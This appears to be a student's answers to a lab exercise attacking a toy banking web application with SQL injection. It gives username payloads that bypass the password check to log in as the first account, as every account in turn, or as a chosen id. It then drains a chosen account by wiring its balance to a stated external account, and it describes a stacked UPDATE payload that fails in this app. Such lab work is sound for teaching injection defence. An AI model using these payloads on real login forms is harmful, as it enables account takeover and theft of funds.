1. Show how you can log in to a single account without knowing any id numbers ahead of time.

Username:

```
2 OR 1=1 LIMIT 1;--
```

Password:

```
a
```

The query that is generated is:

```
SELECT * FROM accounts WHERE id = 2 OR 1=1 LIMIT 1;" //password became a comment
```

Is now possible to access the first account without knowing the username or the password

---

2. Show how you can log into every account (one at a time) without knowing any id numbers ahead of time.

Username:

```
2 OR 1=1 LIMIT n,1;--
```

Password:

```
a
```

The query that is generated is:

```
SELECT * FROM accounts WHERE id = 2 OR 1=1 LIMIT n,1;" //password became a comment
```

Changing n is possible to access to whichever account is saved in the database.

---

3. Make some account (your choice) wire its total balance to the bank with routing number: 314159265 and account number: 271828182845

Let's assume we want to empty the account with id=111 (to get the id you can use the previous set of instructions).

Fist to access the user profile let's use this credential:

Username:

```
2 OR id=111;--
```

Password:

```
a
```

Now we can empty the account with the dedicated form setting the routing and the account number to the desired ones.

---

4. Explain why you can't create a new account or arbitrarily update account balances (or show that you can).

I was not able to create a new account or update the balances because the query() function used in the application perform just one single query per time, a possible SQL Injection for performing the update may have been:

```
username: 2; UPDATE accounts SET bal = n WHERE id=n;--
```

This will have updated the balalance of an employee with id n. The problem is that this will result to 2 queries but only the first one would have been executed.